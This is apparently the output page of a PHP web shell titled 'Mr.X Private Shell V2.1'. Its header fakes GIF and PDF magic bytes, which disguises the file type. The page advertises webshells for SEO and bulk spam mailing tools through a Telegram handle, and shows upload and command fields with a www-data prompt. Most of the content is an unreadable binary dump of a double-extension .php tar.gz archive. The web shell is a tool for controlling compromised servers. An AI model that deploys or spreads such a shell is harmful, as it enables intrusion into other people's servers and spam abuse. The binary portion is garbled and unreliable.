GIF89; GIF89; %PDF- %PDF- Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.129: ~ $
xd2usa/3rv84.php.php.tar.gz000064400000067025000000000000011316 0ustar00��ks#I���5f��؜��x?�k�& �$PU�%��@"�L<{�lv�V:��3�t2���tҙ�VҮv4����~��#�/��;;5�E$2"<<<<<<<<<6�Do�[z�,yzȌ���3eif��W�!ύ�p,I�Ƒ���Qi��W��?:�'~���P$M�����p"
S�W��ֲ�H��?E]��y���/AC���S%�g�%#�������ڀ�t0B}C���MS�+Pʌ�&��D�(�eƜ0�����Y+3Q��‰BP]���LK`�.�Bg�3^�rxf�K�8[1���1x��,���(.8�I`���d���Y	�3{��TH�B��H�V
��?Q�~�f>�)�N�Hϙ
��<�dif���/?����"�mX%8�iv��Y��dy|��y>8�?�]��H�
�?J
	��k@mP�-��+r�4���k"3f� 'p��[���/��g����
 ?|s�g�0�gVR_C�W�f�tƃ��%�Hk�0</n�$V�K
Ee��I�8��,Q���VbV�;�q���*�
���@_�w
z��"?d$�Zfi4PS���s�~���X.��W��ّ�4����'�t;z9��'y)��4����D@�f,�2�k�}B�x�d9�f`.@S�=�:!�oF��j�������Q00��w�z_煳Ϟ+8T��'�]�`��â�*
Q2��)/�:�zv�M�
#=���()^#�w�=�zE��5Ja�<a���H�lC����{Av
���,�S�	�|���@��l.�.�a-0U��Ab
�!���2�F!�!,�a�1|��/�|��?~��/������g� ��^\S�Z}�2�"5=��@�p25�$������a-�`d�{�{�_|�W� ����_��_�����;���xU}�[��o@��k���_��_P_����/��^T<}�������?|��q"�P0�X�`*�����/�k͸
`
���!�;�;��-��?���߂���P䟩|�
����7�]�F,�����(�k�~����
����=�_a��\��Y������EAy��w�������8J���; �v��|��4�H(�טe�֍��e��I�C�X�;���P���D��%��ߓ�S�dl�w0I�
<���`�T8��Ԫ��4�����-��{����*Y-aV�:�(LyN��×��4��(I`�G��%��EPa�~����5�~��*����W�����Ծ�x�ȬZ,�p%����GP��1�|��X�:4;����!p5�:m��_���L��#)P��fX����_@�0,�F�H���?�G���
��%���J�W�JX��%������B�$@)<4�d�`ވKV^�
���k�̀>z������V����|��A��@†ܡ^�|�������-J_���3
$,�2�U��A�;�S�����g����^!���G,At� �t4� ��s��������~���7R��DE�,�_p�$jr\.ы2i��oUijj�:�ZpF�4��|A�I����՚���V�г�P��Ue��L�����
�a���̸�~�!ErBl��{
V��P���I>ԑ׼.G�09�,��?��Pq�5�#���e����3bT��
�2�>:5��h��:�3���4]�w�Dr��@^4Q"؞�[ܗ�7hbRq)�=)q�k�1ZzfP�F]Ԃ�C��P@�Ƌ
8h��#��_�3�H꬇K<���
G�>FFS濂�%��[]oI@�5��ߣ�
��Bb�����߃.�-�d�ݕ6��+]��^g���,N��Ґ7,�G����2 K�D�/S�`�����o�hI0��z���q#�%%�鶱�g� �ݩD�?��i��J� $�J`�`�椱�����т�&�2��q2X3�	��h&zu�y��2hhf@>@�1�P���F��>ߕ-���C��'��>]�KXP�g�b�H��zX��Hk�ĝ?	�Y/<j-+.9f`1Z������Ulv���L�|�Q�)sF������K㻽앵Y���
��4��G�v
��|T��.O>���sA���� OKf?��y7,��"�:�K���8��A��~w��K��	�ˬZ�<�+�:��2c��Օ+~�p�>A�1;a�|�֔�8����(�O��B�
d���|�I*� 5�Y���A)�i�A*�Ɲ�ʠ���ˀ
c�{�s�r ��0�G�wx>�Ҝ�#�=	1���%�R1US�6�k���ל�$���č�f��x9A��򒊆�S�"㎽��k��Z�KʃA�Y(�+q.�6d�h�@��.�&a�j:aW�C4%@ͅ\��4�	/��@��<=�%"�8,�rL�H�SI\j��*UjC�49Ey�.��/�P�g	��']��P�k4Nj2`�'X�)�k�L0MS7��o���}t0�qp�`�.��SL"	�H��u�&�9�\#���p,��y��e�:��B���
��:S�ke�V((-���<��ᅯNk���[\�D�AZs�`1�L��)�2�v(�$�(]Kՙ����h�o<�9���<As�NJ�Jw{,U�s�DtI��2�b�𭦎;���$��?���̧��%c��/�d��_5«M�F�Z)~��&3$�Tl�	�aPsƵz��}`] [g(M��E�`,���Jh=��U���}N�$����b��d,y�z*��V~�r�M%b��
uT�_!��`H�.V�,��"ff�l}E�u�H��.%Fګ�+7�&𯿦�j��.�z���M�s������Z�^�f�E(=A^��h��ʔK��h��'u�"��`����2�3��PIeF3ʒ�bd �a~���<R`t� zz�+{N��uV"
(yX_�X����%
h$�:�1C�CЮ���g��>?SD��~��M���zif���3�{�K'6�&̼(�'L����RA��O=&}N�M�a��8<@Q�(o3:R`xj�6euE"������%���mp�)��Js5n3�V�v;��T��dd )h�6���ޠ��}ubaV
!��$���F�j��ɝb�}Qֲ�Tx�5�\7�y�������"������z���v��ԭ��}��*�F��3�|29���T���|���)ȿ��)X�(#�l��@��G�������3o��g?�\}��EeY��NRPM�E3
ư��u���/̭κn���$j	z��9�@���$ ��\@5��+��hCbd�����\�����?���fC����,�i4�g���RUנ�t�
�����DJ��F;m�`}֧2��DC�9��H΅��Xj˱cV��X�>���t{�s���k&����%i�������!-��v�>�h{~�MƼ�jH�d��%�"�^�S�mZ6��&fell��Z���p���>�O���@)H@u\±���1�^��:��lpr7��t�k��+\s��o���G�`d@m�7$�u҅E�T��29%�w�������-��}kN��&(tYިߦX듡ì��ph>Ϋv��4R-���'1��2�^<',�RΆ]�;Y�����Y$z�����C��*�г��s�0��sI���Ao��^��Th��B>*���0��тU��^���������Q_�Z����r(�܈�:�%�V�!ҹ��Q]��<S}-v
t&ɹ�����0�I��h�)֘J^�#��9NΡ�A�;c30�i��-h��&�_&fĨ"�XE~�@�	�mz���^�eب&�XM�RjP+n�:�_��a�sot�� ng�С�MP��Ni��nlV2�G0q�
�ּ�l�8]x,�ז?���D~k;܊�`Q�00�H�����C��K�m
��4P���(N�W6?|��GK�R�����Nmt̩Ѩ����ď�c���X���Q����+�Z��\���j�*M��X]��yz��:�]��ڴ��������@:`j4�$���O���{@�!��!v�!L5�+�
�3��V���oE8|�5_P|X�Cc�"l}�t�
��)����@�"� X�z��+a-���HY`iд>R���
�u]�{�0�W+�R�#�=yt5���]3oa��0�ܐ.���i��TH�4���'i�.S��$�U��gVJq[-���,a�hC����I�A��,��–����=G�� ��%�~F�i�ԗ�x�זυ$3��z��\�^8y%�D�b�w	�_�F�� 4p�/�Z�(}�t��ٯXt�w#���A����g�����E��(@"���M��S��{I�"ha߁Bg�Jg��&Q�
��
SevIA����$�pI�	��g^���n�"+mj�{j	����&
Tq[:�u&Y	����x�NX��&++���q��`���ǣ	K����~)����@#������j��Z���&�9�K��/ꌮ@�h:Q�P���
�<�p�u� O[a��|i)绢q�衛Apc������:� �U�j����sln� �d]��9N�Q�*���X�`�m��yQ�w�p(3,!�X��
+�:2V��2ߘ
J�<8����@��|-��Uux��}czw2�S ��_��:lu�ț�����;�
�=�H]]��� c��l&e(��1RXM�c�\!��x��r��d^$j�x��@���g>��L��$����@�o~C�ߠK4�r�J!K��D�lBO��"�}v�h�4��1�t��I-��5���W�)�	kT��U��0�#=P_��
��#<������'AT ���7)�T����uR���P�e+��=b,��*���h|���OSB&|�?0l������P�l,�'Q�{�f�sH<����W6�6MU����`�{�#�u E
�!��N��s
��	�-���ʊd�
P�֍�ES7;�u`^�`Y�1*���4#�d��>Dt/������>�,��N��vɵ������W�u�Mf�[`��Y��]bd�4�5�OY%p��N"���$�.���(�yP�M���GCHF!U���j&����{ �AOCJĴC.�9�p�pC=�W��#�f�=x�B��F�d���G�D�{�W�����B]���hi�1��͇s�����)���uQ踋Z0�
���V4�a���{�v��s	�	z�q�w4q�q�g�R#1�l�m�/U+0T���d��*n��?���;����3s���d��8�e�rF1p���!�c��S�#z
�jg <�CECϜ����͂�f��GQ�Gϧ��|���3�� �����)��5͠g�L?�B�E[��p
|��ٵ�1k�e̞T>Bb���.�����.i}R]���i-�H�Z&�I���6�U�^X+Y/N�Dw�w��F�w4�0x��k�������s�&����H�kez��-�|��O$��l�:�I3���s�OvƳR4�6x=��� ;dZFX3݊�'�n(8,4����:Nj�	���ٽ€
T���2��|,M�KX��Iy��l�kn:[j����:�k݁���uаT�3�r�q&���S�����i�/�=m<��b.�0��=^�@���-�{����e5*�xfU��ܭ44a8-�9/���'�c2�Y��
i�Ѻ��u3儇���[��I��A���r,4<�|B�'�15R-�!�kǚfj�Z%j
Y�m�����+TM�W��*�x�y.�[����O���Q���Ҭy�çTDĭY�$}�R��z��hi |�=�K�x9���Ϙ����9YÌ������6���Z�<#�Xً�C�JuZ�8/��s�	�M� G�5ϫY�#"��~mgg���5�ᑁu>fy�/h�zvE}(�X��(!�|o(�K
|-+WU�]*�x0x����‰��+�
Ч�`�Z��%�>��-�{�T�?ů���zir��2��6K�C^�xt�X��UxPUG�jk^�Y�V�w�o�R�qG��*�s繰^�e(ˏe�x�;�z��XA�Z�{�#T�D+�N���Z�����	���8v�c��[�l��V���'�Z��xIKb|��@#���H��(�$|�(�Tgb�#>f�V��b�CUꝆ��T/[��^áC��{>�@��������`�V��s8��X�Q�[���V��+�F���-N��i٠�?A��T����C]�Cє��sE�LZx	b\��upa���%��\�,ŵ�f���k>�:-��v;��J���b����q��O}��g�CP-��<j!�o�3�䮵TŐ�efcYEZ
2�N��(�=�_,/�O7�@D=~�۳�v>�n����z�~���c�mzc�0�DGg����GD!�s�E�LBH���ޏO�����K0myTC�,G_a��#�x�
�p��懇��T�� ��G�{\.���`����T�8��ih���P{���ˣmρ��(�ڿa#����+2oa;x�MV_�
e�M�<�`Q��d߯�J&,��;E�`�9��cGk��]�q�$!MS0��G���3f9��1���V�g���Q3ֲ²�Nl��?�5�Jk4���hPԑa縩��=�M
�nj��Ia!w�Y
�N�_��R!��Y�w&_GM���
�n���eB��OJ��c�!c�"���pd������������L@Ǎ+�k�."��Q?��o�^~6�#	d�±�^#�v4���K8�Lh3'���IR�E�P���Vm����'�A�����u��H������u0慯�h&.�'Y�%LeO�H&��J�BP��U��֛N��qIEV�+�A	�C�i!ڜ@"�#��Kj��:���]x*�R�+����3���7� pF�/���	.;�1+]X��$�<E��Z�W�<��X�-!*`3A��1'Bֹx�����j��4�>V+��Z�!r+�����bv��n���%�{Ci\��J�^aF	p�\��
U�S1~���؝����m�w�S�5���+�s�n1��ҕ����h���V�Sj��I4�h�E�(�P� �'�D���c�H����=#����W�}l��:���ϽՈN���|�`���&�L��|
�����D�\�G�R�vh.�B�Nw�ܞr1�f��ۊ�!I���r���ѽ�ݏ��l��G'�8�<`��”��yl���e|�Owi:9�Ԕ�_iT��ђN�בy_w��8s��2��΋�pd���*��nI��n�6��p��0E����n�OV�4=�"���CB�GC�I:��nǏ�cO�SB1�N�?��N�B�'K�������fw[��s><�����02]*��Te"��▩d���w�q@�x���b��ww7�U�D��3��i�r4�US �b����/h��οN>̖�ǝӘOn'��jJ�r2�T�d��Ǻ�H�n����smZ��%��(_��u���A#�H��8�w):�V��H>��vD��z�
�sq�h��U� �8f��W��j{��?$��\���CD�C*���L��cR��(�^*>����b6���{��z��`��Qi7��se��V�!����wb���]�).z��iuK3q�w�u-�=�����ms���u���O6��+
��Ճq���ꛁЊ�o�l��Fn�J�W�c����7�n��M��._l��b7R�ϛ���助n�(��Uy���q�<��I��F��:|3Rl����Ro�	���ӭ��L(��a�Znӓ�������t�WkΦ�ź���M�T��V"�������C���6���-N�J��՟{�]|<c"->���������:��S�R�ek�	�fss�o��P82��0Fz��lv��T��]=����j=�d��M�Ŭf�n�]��ܶ�e����]~�܄���V�y=�Ef�X<��/(�l^Z�[���g�Ս���t:�d�l�6BT�+ˠ�M}�:��6q�s�́}�M�С顸�f���v݌U���nlU��wʘ�,g����;<sqc���������F����L��]?�AO��2+{�p�^ϐ���ݞi
���؂a���`��w<3d�����C��z�̴K'���/yL��`������s��
�7xm5h��-2
��zwi'�m���`�ϧ�F�c����Ţǫ9Vj��S��zȶ
���}��i86�)j'���H���<λk`-�u"�Wբ�.Zp�i�;�O��;��#;�uC��hɠ��&L.=A�%4��y�O�]�w[@@E�T�u�`q�A�[�W
\�X��7��bm��jήI��
�^k��ܤ���r�"Q8�k;I-��V�g��5`��A�SETr�"�yɉ}_\<]t�!ʡ�S�L�������c��bK4�Ƣ�N
E@�3�5�	׫+a� ��5r.������_x�pQoH/!��
����
f�KUk��������|�	�q
"���4B\=����
��{�ۥ��
�>�r������mz6,k��y,u�d���)�1c����_&�%M��z�Q^��I� ���~p�RIU�q;{�:�h��l�2�B��,���iUE�\W�1�bs
4
��Ԓ=#P[����%Q0tB
KD�� ���o�ŀ����8I�*b�g�:��H�Pڪ�R]<��a�]��G��m���Nz�P���	�++}�b�-
~��>��Atq�Ϳ��p��gz[��;K��l Ì`��
b�:��X����?!�T�]�VK�X���:�@Щ��å����J�h�a��*������>�hxjI�NӂI���_}�DnM�ǴU����0�1���(P>�i���x�D�����Iה	k���a��-<
׊"
�S��{4A�SP��G�]��A��ܽP�k�r����N������Nv�Cd��&5"s9��͂����`	�ΦM��63��<ɻ{��&�7��m�6�C.������&+a�a4n����$8'��kd57��д,=��p�6���ݸ�Ȧ���'��!I��ce[[�
g-ȔƠ�^��d{u��.#:���yG����hu�Qh���pZ����c0��?BV�jQ���/c�3BM(d���mGz;;;t6���ѐf�~�OԘ�8a���4��9	��p����ƚ�
&!5Cߖ'��,{~�a�(���IuCަ���Bu�o3�Y�%2^��G`(ˏ9
4:����3t�����jǃ�іf����i�JSVsܑ.�b���/R;t���s9*8�J��gB^�pv*GR��_��TU6��i�t΃,A�܀���`u���(�W��>;'�š9�4���UӞ�3Jf��4q@�ʼ�D�Ԋ˜*��YV���+�i��m����&��r�Ô�A���2���I��1��d�!��a1; =	��g�lu
���z~�	.�q���?$�+鑠��tB�S�d4��gby��4r���S�����Ș���óMo����˺�b�~���</��!�r0�꒞9[+���Eixr�p���i�3g[n��2cvÍ��n~s0j��<bx6�!!+�v����G�P�Iɡ
��x�����kEfm	O���rf"�|Ϟ:mC��d�3�h������.�^�ЕHXcP5
mk�̪7`�/��Ī�ʴA.��P�څ)�gy��mTc.��_ds}��4�QDC<�/^?���5U�W��#�a�V/�x�*�Ն��~��ʣ�y��j��d�#�x�b�)��c�]�Ȁ�vzZ#i�	I��3�<Gi�"⤲;N�VzC�[Do"���N�j(�Ma��E_&
�ܸ$�F'���8UC`����~��x��5��2�)ӏ�ŵ�֬f�G�s���(<~��e/pE�z���4k�a�Nޛ#;q�s�cS������B6T�?bd�����v�L'��X�׬ʢ]�t}.�"����&�41�'/?�b@��nH�,�R�qf�~����Ѧf���	��bf7K�d�#���h.���,qޚD��p�8ǧ�-���G�r�	�+��=�Ope�B���� ����wGT�l����6|�z�H��k�T��Y���=e���JΒ%�%��L����D�A�ZF�����vc���B���1�+��+{�����~��	����v�:
I��5 ��oײB��l��AG�W+}r
̓O.����p&�\{�0�jT�W
Ū"zX�r��(57���
ܻgʕR��dn��*�����X��^�3��B�Jdrw�&^����%��d<SnVl7��l-�|�N�|�\Q-�J��в
�+�l�-7��P~�E�KQA���6o
l��ڭ��ء��*�VC|�}r�����9)R��	"?��)(�
�8�ʨ�;W�ڕR�n���AƬ!��a~�R�8
����eO
�S��s��+����o�e#i��>�D��,���X=u�t�m4�#=���›,6�����]�C�x(tE�3�^I�t1�'�x���".�Wll���Я_
'lj����9=��	��3�c
���J��bhM9�b�8né�!�8�ƒ�>m�Z��Fn�sw`V�B;�0즒9{�8��J<tB�4׍,Yj͠ ���A��ٵs��J��G�QoG,�I�hЅ�=\�	y8~	H�A�,h4���t�8K\���,@廭Z���m[�r��	P�� 
^��s�R�Vk<��l�Ҩ�xl.�W�v�WlUJ}�G��	E���IEn���J�NjU�X*�`��i�*v��z����Aр�z�$����,o������H�(�yf�W^Y�2�>�u�����?��������8�a���#g���C@���F�C�k���7'VK���B��W^d�Z��W�y��C2�Z��5hג�h�҉�hU�Ι�u����V��Y���z�w	Hl~��R�3x�>c�4xml��� ���@���m=�zV�e�,9~�	y�<;(v/u�)�R���@�s�����!;b����q�%��6,|�p��=�w�_(�H��W��"�y%Ռ�]��0�3q�JD�B!����4�e��O�	*3�Q�T�Fc�cU�R�ח����jQ��/�4�ӢN�8��	�E}���r���!�+c�҂�}��v�S?�E�b�c�ކվ1"��Xx	���"q��\F��S�!�'�U��]l��"��yT��کRՃ�+������+��(r.�����/��b�lD(z��B��,�F�7��		�WEB
�8�XE�(<Dk�	�x��R���ℨ�����H_"5�*
�9�R��UƗN���ь����Ҩ�����-�T�'/�%������7q��ʼT8��1�[�Ǡ�;�:�0�th�C��@]N��Z�E��3k�t/*���X���~�ii�R�[����F''):=�'N;���L9F��0�����B�&�F�a������Wz��Ui�F7�|;�e����κ�J�6�Ų�E��\i.�mq
V]�^wTl���b9�M�l�1�w�^Q.T�j$;YT�jc�hT8YJ��s&ͤ�a���׬��G��$���څz����=w+l��v�N9�6��J�z{����a�/�].{?���RE��l��[��峅lg����7�~n��Q��/fG�Т3��+�n��K��%�,���2?�d�t�P�Gj�l)�d�Ya�v�����'��ܐ�{Y&��v��?Mf�����*eK�m6�Z�S�x�>U���m/2�dk�h���(f�lvz޷�Jw�Ͷ���Je_�e+�([N�T��^�gБ�尒Z���V�4��û\x�X����b�X�5#���l�Ȯ��rP�Ts�,=M�����R�f:����]�!��F]LD
|JIH�2����{|�F�hn��(7�Z�(��dN�)�s�ON[��t=O��@��7kݬ��]�ob����lQ�q�Ϫ���?Z=N&qa�������}?	�jI�R�?�K7���t+B�jwt�Wng��(.�o�ڨF��qh_+���؍���Q?^\��`
��V��Q�mҋ�����;����eџ}\�j�l���G�Q�ᦓ�mF��}59L�t��iaZ�
�Q:J�S4�e��`�����>.��ߩ��&�Ҫ�sU)�+ӝ\9��f�\n|���ݴ.��w�|s�����������M�+��1�M����r-��tF��z�?�
��@�f��d�Z����Vn��v���˖8���������J��u�/�r�V��X����+���R�r3��G�J|ޕ׫b0�~�ٗ7�ю����N�[��
kf-���8�47��RL=����Hj2��mDd'����>"����h�mL���}qXȮwr=/w�r~P��EN����y�{��1!�O�w�m�=�>f�~q�L��x�]��=��vu:��7Cűx[�.
��M�v_�<ס[Il�G�~^��³J-�PS��.������w��䲙],w�R�]Tnˡe�]�/��j��"%0��z�;,�@H���B`;�x�~Q�7g)^�
��Ӊu��+���3�/6��xs�/���`�JD{M � �L᫛n���Vx9���ඝx���Ny9}d��+�?�g7c�o���cHެZ~�1�����l�P��fB5�����`�G�U�S�B1y�7��Í�l��B���z�g�[�J��j~ի�m�Wދ�^u��z����K�k�������bл�ϟ�B�Vzϫp3�v#쪑�n���87��M|@��Q�nJV��T����]���
��T�<��� <�<o��z�q�J�>݊$�C�)ƛ�z�.���Fw0O��ⳝ�v�L�ZeS�D5:�l�leUN�C��b7������Ԯ*���D�t�u�aåuXHN���.$
���� F7r���M�(3��v��}G
K\�It��P)���ʟ�R��01a�aT��v����Ċ��JӲ��.r�|w�MS�No7<lǵ�d��
��z������c��n��Ŕ������,�w�X$Z�������aW��j����*�Ov
��.�;0�zx�/�]�P�~v�o&J$ǰ%QV��Ⱥܻ��-f�kEڭg=1����j,�E`B|XZ+�Ĩ�J�E(!	�@�&;E^F�����x��ZYF"���П�%����͠�^�:�	���A�Y?��Q��/V
%�V��}4ZJ�W�ȸ��#���2��UA�B�1��B)��G��WY߶c�Zm5��V�p�D+�U�v�l)�<����p�������㫤8	�mH�/هN����4��V|\��q﮼�H7�fȟ$��>=��K�Ҙ�*�^�y3�%w#z��;찍F�5��G��S��6�uR����K�P������P3/L���`۸�v˹�m-�Y�*C� 
faùy5o�z�y��L׏9�]��}Sj�D��yc1��
@L��Pv<�/˵m4vw{�����},��JS&�)?�'�h�~��:���])�]7���j�-�����}]�����}����]�Ǎ����m�5�y]_��B����Ml��z�Ҽ޲�Mc�i�V;fU�U��j��Tf��mg�le��s�����yA�ߌn�
G��J�)�G�Y��ZL�;����m9U\,v�_k<�gyv����
��xyxfK�U�R��;��~���v�gq�4"�J�/�}b�φ5��!QS�)�oNn�d�)e{�����+�bx/���1ߋ0�/TF�M=9��ʺY�6M+E�Ҏ
��UP��C����b\��v�X��v�R56x�=oS��s����:��ҋ��Z���4�%s{��S�%)�Uz��Ci�nFax�	O����sYh�RY�f�a)>�M�S1z3�˱�f/���v������r�L�C��ć������2V���C�q�AiD�����ԫ�ur����A�׸Ԁ���P�>�^��[]?ߌ$��Xy�y��LIn�d�q��<D�N�v�(�l�W?{��r�O�G�����A�#no�����C7�m"N
�p+ھ���t_J�F����W��x�ק��|p(Ǹ��u#,��m����Č�]RjoB�t��a4�EV��ʴVJg�Q�}~�褶��x��T+-O
�m���ۛzw� 0�~���L���~���	��G˅�(
���}#�~�xә��4$Ѧ�i<�Wc��>��vz����9�x�D��
1E��;��jkF���֬	��a4�Z��Tr����֐+l�o&�Đ����㤤y�M�y��<���s$�I�&�bAi��B�?�݇7�h}��ޤ��7�4����Qyֿ��ex�Mr}?����B(	����h-���f*�8�X�-�ץ]3��{���[�`���
z���iV�&v�M$5��f	��qz��%C��F�>NF�]t#�S�+U�I�td�'�N�:I.v�΂N��.�jc����r����}*K'��U�ͺg�X�w��+AF��a�f\���d��n�w3�-g�
�b�Q���>���D�n�U(Mҏ�;�}��Ŋ�V��N�S�f�Y�~Ο����X���������e{�<ך5���r���r�%��?g��r�0�<ܳ@��&�d���6Q�V��i�%���P�G�,M?�)�]W��c��u�����aXa�oE�t=:�K%0��~s'g+ջ��?������?�2�}yR6�N��-f�z�aP�M��v*ʮWw�R|���p?H&"��׽�U�M0�3�nj�_Ɖݜ�oV�Xz/���cn��x�3yxn�J�X˖j�m{X��Ə��Z��yҿY�Z�rz�o�u��X��`����f���<��b�;���v�㔪��n��>�oDo�E��/<l婿���z����fW�=G&��(R	g�B��jM��^��,Ya�L2�dL�D����M���/���sM�����yH����,WF!Z�<�����]�[\W�f���B˻P�>ō'�,�"�ζ�0�� ��Y?�؋�����>�S�1���
-���|��tv�H��E։"_�,���2�G��5��'�~���l���=�g{�����!?�C~���l���=�g{�����ҙ��Es<�Z����C���4s\Y��.�8�e+ː�ȋ�V��-���q(���r_<,J\�_n�}ywW+�J��~�K$�	M�BA�ӻt���Xb|/,�?�NF�i��$��=Xa��J�&K���:�>̗`
��O$����4�,���C,lnҡ�so0��h)U�4*w�>��wm�nһ��Jl�ڕFe@�^>[/�W@3����;f�6���n(���v�W�
S�\go��"%݊e��Ro4J��'��~��7�h����ϫv#�E#���������F� �Q�T)f���L��=��$/����n�N��x�]t��<�����ps�n��t����'w=9�c���"T6��)]�Eo��tlZ/��c�ɤ�{�H�ϴ�7���y9+�+���n2��M$V�
K���0+v��f�,�Jqa]�U�ei;��o��X���mB�n�-n^����ۈ�J�����!>\�C���9�������t:k��쐽�/��&�,�uo|%=x�C7�".��۞��w�?���g��CEL�鴵������q��Cv_���J�*�������Q-u�d���џgk����:�Q�%����s���唲z�hvX��\B1��lT�q�W���t��{)~�(W��\j�H#�����!���#�=�li��7�h=�������H��o䈰sV]Fj�G���U<K�g�+����6[��%�)tW�&��!�����DV8t�0���^Vr��p���{�}�|`ƒ�P�М��9:]�o��,�w��P���ղ<�e��?^܌'���ڋ�HrH%[�ڠFG��}��.��q�1V��e��MW�Yx�Wh��H��Tz?▃1�nn�R��^�s�t/g£��p(��tj���Ԥ��"�\,����ƸW9�����x�����{@��󊫌V~Z暫�r%+�^>���u��I�wB�u��V�Tm\�˽��3�L�����է�T~tH2�Ԧ�Oהn�y�]b~)��S2��j�qt�K>�'�:C�҃�hr����a�+r�z���2����:��Pk����8)+Ҭ����lN�s�pU�(�vXX%��mJ�^��z�K��4����Ѝҡ�|{Qy�MT��^��f~�%w�`�]�c�+��:-������o�`�TEF��c��p��#��8R���ܠ��������[��Њ�F<�F��U,u���|Y}�����n�-���*;����A}^kl�鴷����L7��4[��܌�Z��`ݙ�D�|?�x��Ԧwy��,�H3��uu�")�yl�^�-�m��+�����*��x��粡�j����N�ݯ��:%ܬ�Cb�/ϥ���ش�r�����7�zZy���¼�-��쬼�<Z�U��2�m!����ȡ(֒�u�y�]��J�nӔJ���Õ�f��8�5�1[=0s�_in�<h��G)$ײ�n�Ѫ��J�S_���s%�$�нU�%��.��Hh��Vm���yȋ�����~��|�2���j‹�rɳE+F�~��Ss�]�<M�H��2� ���}k�^�|u���8�P}|�M�,4"�
�t��ի:���*�px��P֍fh�t����v&P;W�xhq���J�W�|8�g��iq�Gz��ā�g^ZÀ_�~fP��M
On���Y�ך�"��Q$s��mz{��z�[ţ�.H4�%�h��؂L�ؾ�2(�2z�y�H����-���p�/�aᘳډ=5�&Jx!��[�Z�X]ԅU�jCơ���h4Ky������!5M��̦,P<+tJ���":�H�t�v~��x��z|��54֋��=+n��%�WO�#8�z
�;f�R)v���B^�7O���@��-:��� ������"=k�D�!���6�$àJ*�(�`^zu[!8N�HP���2+�� 
���T9��/kx��W���rB�I*�
h�YsJ
f�%IJkT`Cb��2+�n4�'D���04��;"�˹��=�5��O��za���o�~FL��⧕�q8��ǰ_�W!g���с�ޚ�bd����-��u��&��pH|�*�]�L��0������:1_RzX�j��xq�0Ե�f�x�_[�fp�"R:%�ƉYN
�mR�2-��I=buvJ�m2N���U��Uc2E�Ӵ��)������R����z�=j�{�2��9�@��A��O���vm��X�嶡�&�c	�{��ġs�m��9�nk��#H��3�p:fDxU�L�W_�_���m: ���+�n�Z.!�ѕG�bD�} ��>�t�}@DO�,Z��f��)�[���������P�ra4�xQ_c���8�qOZ��Wp���X��F��8]0����������L﯏/��f���)��*���(��L�;4�w8ck]�^���a��fX'y��ւ�ה�����j�mE�ѳf2����*0�FfQxKGE�
kV��r��5�X�b�a��Kik�;î�ij�w/2|f)����	 �f�
z������ ��z}��v�-pF���-�4�h���b�c �b�Q{	T���TH�~��z�>���zo��^�NTDh	*T�xV[��G��R�"�rm�tj���b&�Q�%���3E4��?W3k�74��bj�)8�v�	�[�`�̊j����
ӕjctI2],x��u���w�~[����ɎJ,cEa�b�g� ��**�o3a�_J�P��ѣr�G0rA�0	�%k�I@�W�v�Gv\����<WxL��j>z�H@
�}ά�A�a4���wB�Q��b��� u����	0ąf�W�mf�^f�.�%�-�3��ȫ{��3	������1��ޣKӊ����x���g{�A~��)?҄��k�'�6��g$:M0�7�X�h#�9�'�E��p�2pht��L����2m���-q
�& ����"Wиf������l5�B���?xಕ��L��L2�e��>M��-���A`n����%�,�o�?�qaA�Y��n�4���(ܧ�t�Ѳ�VnN&c���|�����5���D4��E�!���#ܺ�u�$Ic"���W{.�c�d���>z��S�.�����.W��|
�cU�Z%;j*H���ҥ�E1��+e<!5by�ŏ8��i��}��'�y��Us�œuY�;�]�m��v]�5-8^Ť'�A�Յ���Av�m���˄�2��i}qL�Sq�4ɹb��)�G,�C���R<��\LF-��4���MV��xI~�jdL_���52��x���,:5x��RFã�}^bT�L��[L��_�%���d@#F|o�Go
�VD.N-S$E��>K�h3&���kt��,���	�{�_5=�S����R�K1
|��"u�J�~i�ƍGe��Lba�(���(t/�E�s��>����ӏ�i�����1��焬0�^�L\3Yc��!V1��q��߈K��9�]��*�5i�bd0K��L�j3�Rf:�aǡr���N��DB�E�j�d�:����=��1�HIe��MNA9�r��S��B������ǰ�k���c��ЍI-B�~��
f?�Z]�|��w��&Y}\@���@b��;�����;��h"��U�.�1�#����0t�fpA�j�%L�i{��v{%�����,D�_gI�*�IR���\���hk�G�pO�j	�J-�<^%8�M=�AS��?Z��;� 8�Q@S�ĩW��$E�ȃ�{�L9�(�t�d&�.���xd���o�$�f8�e?�r
���T?,7�E�KKw�`��z�ѷ���5����_�7���†-�
����s'����Mž����n�!3;7�P6k�Li-0nsA�!�-a��+־Yn�7H�&<�1�9�V����S�^շ�_�}2Y
�:R��j�^6�8ڠ��ΝX�з܆���Ң@x�F��S}��d2�t��OE�<X�;HC��,�Ug�R}���^O��h��8�N��ڡ��p:�����I�Q�ƒ^@^�\���%���V������M%ZDTj�����dh��(�G�b�%�x�=W&A`�R�̈́�P���0�N �;R�A�=�U[dP7�@�=͠��t��x:Y�ؘR7c�!*e���>���)�a�q��NB�쀺������7[��a/
iu�sӺ۳m#�<��'�̯'�
2����(��l{��n���S&+��|;�Ro�Y��!���[YG��,�%tG��X��n�?���	�i�,�������
tуB�疦��!���%u�_����qG����9~\��eA�:>�m��Z	�g]��=\(� ��=�,��yQ�>! �mG�nߠm��T���(�^�j���0@�
�9R��|EX�z������\,�:I�~��F8.�H4&m���C�94P��"�ō-áU
�}e��-|==�o+��Qv�!tΠ��eU(��F"q�(��0��Z@x- v�߼P���˩�ufw�ǺB
h�z��k��F�%�H\�$V������� �Hin�zw:,�~���;����l=EYs��N����6���D���T�H��O%�^�FA]�ԗ�\AQ���:���K��T�Aˆ^�=W��-
